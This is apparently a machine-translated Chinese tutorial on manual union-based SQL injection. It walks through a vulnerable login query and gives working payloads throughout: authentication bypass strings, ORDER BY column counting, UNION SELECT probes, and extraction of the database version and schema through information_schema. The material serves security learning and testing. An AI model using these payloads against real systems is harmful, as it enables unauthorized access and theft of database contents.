不熟悉 SQL 注入没有问题(这似乎是一个非常经典的例子,因此构成了一个完美的开始:)),但我认为对 SQL 请求有一些可靠的背景非常重要:语法、表、结果集,它们是什么以及它们是如何处理的,等等。
SQL 注入的目标确实是通过以各种可能的方式扭曲请求来设法弄清楚服务器端发生了什么(当情况值得时,不要持有桶!),并最终获得实际控制服务器端的能力加工。
查找易于利用的 SQL 注入
为了便于说明,我将重用“什么是 SQL 注入? ”的主要答案中给出的示例。如果您需要有关 SQL 注入的更多背景信息,这可能是一个不错的起点。
因此,我会想象服务器正在执行以下代码:
sql = "select id, username from users'
+ ' where username='" + username + "' and password='" + password +"'";
身份验证成功后,此请求将返回与此类似的结果集,只有一行:
+----+----------+
| id | username |
+----+----------+
| 42 | jdoe |
+----+----------+
认证失败产生一个空的结果集,没有行:
+----+----------+
| id | username |
+----+----------+
+----+----------+
现在您已经设法做的并且表明服务器端代码易受攻击的是通过将用户名设置为来绕过身份验证' OR 1 --
。
仍然以上面相同的示例为例,代码将产生以下 SQL 请求:
select id, username from users where username='' OR 1 --
(--
有效地注释掉请求行的其余部分,因此此处未显示)
是时候了解这个请求的作用了:这个请求获取每个用户的 ID 和用户名(每个用户的用户名为空或为 true,这实际上意味着每个用户)。
这对您来说不是一个好消息(除非结果集中的第一行恰好是网站管理员,但这超出了我们想要关注信息提取的这篇文章的范围)。
为什么?再次在这里,您必须尝试想象服务器端可能发生的事情。
这对您来说不是一个好消息,因为这意味着您看到的内容显示在“您已登录”网页上:
- 不是从数据库查询结果 (
$result[0]['username']
) 中提取的,否则您会看到显示一些随机用户名。
- 相反,很可能直接取自服务器接收到的表单字段值 (
getPostData("username");
)。
在合法用例中,这不会改变任何东西,因为两者都应该返回相同的值。在我们的例子中,这很糟糕,因为这意味着我们很可能无法在这个地方提取和显示数据库信息。
还有更高级的 SQL 注入方法(基于错误的 SQLi、盲 SQLi,...),当网站不打算显式显示信息时,它们允许您从数据库中提取信息。但是,它们有自己的一系列问题,我将在这篇文章中认为它们超出了主题。事实上,考虑到网站开发人员对保护身份验证页面的谨慎,其他页面也很容易受到攻击,这次其他页面将显示从数据库中获取的信息(用户的个人资料页面可能是你最好的朋友:) )。
(如果某些页面对您的伪造用户名返回多行而不是单行这一事实不满意,只需LIMIT
向您的用户名添加一条语句:' OR 1 LIMIT 1, 1 --
,当然您可以自由修改其参数以从一个用户切换到另一个用户。 .. 如果你碰巧知道一些有效的用户名,你也可以尝试使用它: admin' --
.)
在这篇文章中,我将继续以身份验证页面为例,这对于影响任何其他页面的 SQL 注入的工作方式是相同的。
确定结果集布局
在这篇文章的开头,我们假设结果集是一个双列表,用户名存储在第二列:
+----+----------+
| id | username |
+----+----------+
| 42 | jdoe |
+----+----------+
但是,直到知道这只是一些假设,我们才在乎。不幸的是,我们现在必须知道这一点:
- 出于技术原因,需要知道确切的列数,否则
UNION
我们稍后将使用的语句将不满意。
- 知道服务器从哪一列获取显示的数据将允许我们将注入的值放在结果集中的正确位置(我们不需要知道实际的列名,只需要知道它的位置)。
(如果服务器碰巧使用 PostgreSQL 而不是 MySQL,您甚至可能必须确定要满足的正确列类型UNION
,这比实际问题更令人讨厌,但要记住这一点。)
确定列数
最简单的方法是要求服务器对结果进行排序,如下所示:
username: ' OR 1 ORDER BY 1 -- -
增加子句ORDER BY 1
直到出现错误,最后一个工作值对应于结果集中的列数。
如果我针对示例结果集运行它,我将获得:
username: ' OR 1 ORDER BY 1 -- -
: 行
username: ' OR 1 ORDER BY 2 -- -
: 行
username: ' OR 1 ORDER BY 3 -- -
: 错误,因此示例结果集包含两列。
确定哪些列可用
现在您知道正确的列数,您可以向前迈出一步并注入如下命令:
username: ' OR 1 UNION SELECT 1,2 -- -
如果你有三列,你会做SELECT 1,2,3
, 五列SELECT 1,2,3,4,5
,等等。
这里的目标是将实际数字注入结果集中,并在网页(呈现的网页或其源代码)中检查服务器显示的网页。
使用数字的优点是,如果列类型需要,它们很容易被 MySQL 转换为字符串。虽然此处给出了“1,2,3”作为示例,但请随意使用您喜欢的数字(“1234,2345,3456”也可以,并且产生更容易发现的结果)。
在示例中,如果生成的网页显示“您登录为:2”,您就会知道用户名是从结果集中的第二列中获取的。
注意:了解UNION
运算符的工作原理:服务器是否只使用第一行您可能需要确保左侧请求不产生任何行!
实际上,UNION
运算符连接两个结果集:
+----+----------+ +----+----------+
| 42 | jdoe | UNION | 1 | 2 |
+----+----------+ +----+----------+
将导致:
+----+----------+
| id | username |
+----+----------+
| 42 | jdoe |
+----+----------+
| 1 | 2 |
+----+----------+
这可能不是预期的结果。
要得到:
+----+----------+
| id | username |
+----+----------+
| 1 | 2 |
+----+----------+
您可能希望确保左侧查询不返回任何条目:
username: ' AND 0 UNION SELECT 1,2 -- -
查看如何OR 1
反转以AND 0
确保无论数据库行内容如何,左侧查询都将被评估为假。
利用 SQL 注入
现在乐趣开始了:)!
有了所有这些信息,您现在可以自由地从数据库中提取您想要的信息。
例如:
获取 MySQL 版本:
username: ' AND 0 UNION SELECT 1,@@VERSION --
要检索表名和列名:
username: ' AND 0 UNION SELECT 1,GROUP_CONCAT(table_name,0x2e,column_name) FROM information_schema.columns WHERE table_schema=database() --
有很多网站引用了适合注入的 SQL 请求。请注意您面前的 MySQL 服务器的版本,因为某些语法可能与版本相关。
结论
根据服务器 SQL 请求的详细信息和应用于结果的处理,SQL 注入的难易程度会有很大差异。这完全取决于你的运气因素。
尽管如此,手动构建一个成功的 SQL 注入字符串总是归结为这个循环:
- 在服务器中注入请求。
- 观察结果。
- 尝试从服务器的角度来解释这个结果:什么样的处理会导致这样的结果?(这是你对 SQL 的了解真的很重要)
- 创建一个新的注入字符串,旨在解决您的问题或检查有关服务器行为的一些假设。
- 回到步骤 1。
最后,手动执行此操作可能无法很好地扩展。根据您的需要,您可能会发现一些工具(如sqlmap)有助于自动化所有这些。